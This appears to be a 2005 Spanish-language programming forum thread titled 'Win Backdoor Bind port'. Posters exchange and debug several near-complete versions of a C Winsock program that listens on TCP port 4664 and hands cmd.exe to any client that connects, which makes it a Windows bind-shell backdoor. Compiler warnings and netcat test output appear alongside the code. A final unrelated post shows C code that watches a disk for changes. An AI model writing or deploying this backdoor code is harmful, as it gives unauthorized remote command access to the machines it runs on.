|
241
|
Programación / Programación C/C++ / Re: Win Backdoor Bind port
|
en: 15 Agosto 2005, 20:30 pm
|
Según me han comentado, puede ser por el SP2. No obstante, dime si este codigo te funciona sin modificarle nada: #include <stdio.h> #include <winsock2.h> //la librería del socket #pragma comment(lib,"wsock32")
int main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //Winsock=socket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(4664); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); ExitProcess(1); } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,5)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc));//limpiamos start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0) { printf("ERROR"); }else{ printf("OK"); }
ExitProcess(0); }
|
|
|
244
|
Programación / Programación C/C++ / Re: Win Backdoor Bind port
|
en: 15 Agosto 2005, 18:33 pm
|
He probado el codigo y no me funciona. Esta vez, me dice que la shell se lanzó, pero se me cierra el programa, y se desconecta el socket. He quitado el ultimo WSAClenaup(), que bobo Con he retocado el código (no el que tu posteastes, sino el original) para hacerle algunos cambios, como quitar el WSACleanup y limpiar con memset(), y obtengo este restultado: - Creando el Socket...OK
- Esperando cliente...OK
- Conexion establecida
- Lanzando shell...OKPress any key to continue
Como ya he dicho, no veo la shell por ninguna parte, y cuando muestra esto, el programa se cierra... Con el código que pusistes, obtengo el MISMO resultado. Te pongo aquí el codigo retocado aver si te funciona: #include <stdio.h> #include <winsock.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
int main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); ExitProcess(1); } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc)); start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); }
/* printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); */
ExitProcess(0); }
|
|
|
245
|
Programación / Programación C/C++ / Re: Win Backdoor Bind port
|
en: 15 Agosto 2005, 16:46 pm
|
si ya lo probé. aunque si no se le especifica una extensión, asume que es ".exe". Le quité un comentario en una asignación a la estructura que usa createprocess, aki pongo el source. (A mí no me funciona aún) #include <stdio.h> #include <winsock.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
void main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); return; } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); }
printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }
|
|
|
246
|
Programación / Programación C/C++ / Re: Win Backdoor Bind port
|
en: 15 Agosto 2005, 16:28 pm
|
El mismo error: - Creando el Socket...OK
- Esperando cliente...OK
- Conexion establecida
- Lanzando shell...ERROR
- Cerrando socket...OK
No creo que las opciones -vv importen, ya que solo es para que te de más información de la conexion.
|
|
|
247
|
Programación / Programación C/C++ / Re: Win Backdoor Bind port
|
en: 15 Agosto 2005, 16:07 pm
|
Gracias, con eso se soluciona lo de los warnings al compilar, pero no me da la shell. Estas son las respuestas: Ejecutando la "Backdoor"- Creando el Socket...OK
- Esperando cliente...
Ejecutando el NetCatD:\>nc -vv localhost 4664 DNS fwd/rev mismatch: apolo != localhost apolo [127.0.0.1] 4664 (?) open sent 0, rcvd 0: NOTSOCK
D:\>
Así queda la shell- Creando el Socket...OK
- Esperando cliente...OK
- Conexion establecida
- Lanzando shell...ERROR
- Cerrando socket...OK
Press any key to continue Porqué no funciona?
|
|
|
248
|
Programación / Programación C/C++ / Win Backdoor Bind port
|
en: 15 Agosto 2005, 15:31 pm
|
Hola, estoy tratando de hacer una backdoor para win que lanze la cmd, pero no sé porqué no funciona. Aquí os dejo el código a ver si podéis ayudarme. #include <stdio.h> #include <winsock.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
void main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); return; } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura //start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); }
printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }
Cuando conecto, me dice que hay un error al lanzar la shell, así que hago algo mal en la funcion CreateProcess(). Estos son los warnings que me da al compilar: --------------------Configuration: mping - Win32 Debug-------------------- Compiling... mping.c C:\lymp\mping.c(75) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *' C:\lymp\mping.c(75) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6
mping.obj - 0 error(s), 2 warning(s)
|
|
|
250
|
Programación / Programación Visual Basic / Re: Cómo detectar mediante la Api cambios en la información del disco duro.
|
en: 1 Agosto 2005, 02:20 am
|
he retocado l codigo para k haga lo miso que haces tú con VB, pero tampoco funciona. El código en VB que posteastes tampoco me funciona. Aquí dejo el código en C #include <stdio.h> #include <windows.h>
#define COMPLETO FILE_NOTIFY_CHANGE_ATTRIBUTES || FILE_NOTIFY_CHANGE_DIR_NAME || FILE_NOTIFY_CHANGE_FILE_NAME || FILE_NOTIFY_CHANGE_SIZE || FILE_NOTIFY_CHANGE_LAST_WRITE || FILE_NOTIFY_CHANGE_SECURITY
/*FUNCIÓN PRINCIPAL*/ void main() { //devuelde la descripción del error, a partir de su código char *MensajeError(DWORD error_num); HANDLE mon1;
mon1=FindFirstChangeNotification("C:\\",TRUE,COMPLETO); WaitForSingleObject(mon1,1);
//creamos el handle if(mon1==INVALID_HANDLE_VALUE) { printf("[!] Error al crear el handle -> %s",MensajeError(GetLastError())); return; }
for(;;) { FindNextChangeNotification(mon1); if(WaitForSingleObject(mon1,1)==0) { printf("\nLa informacion en la unidad C:\\ ha cambiado"); }
Sleep(1000); }
//cerramos y salimos FindCloseChangeNotification(mon1); return; }
//devuelde la descripción del error, a partir de su código char *MensajeError(DWORD error_num) { char *lpMsgBuf;
//cojemos el mensaje del error FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error_num, 0, (LPTSTR) &lpMsgBuf, 0, NULL );
return lpMsgBuf; }
|
|
|
|
|
|
|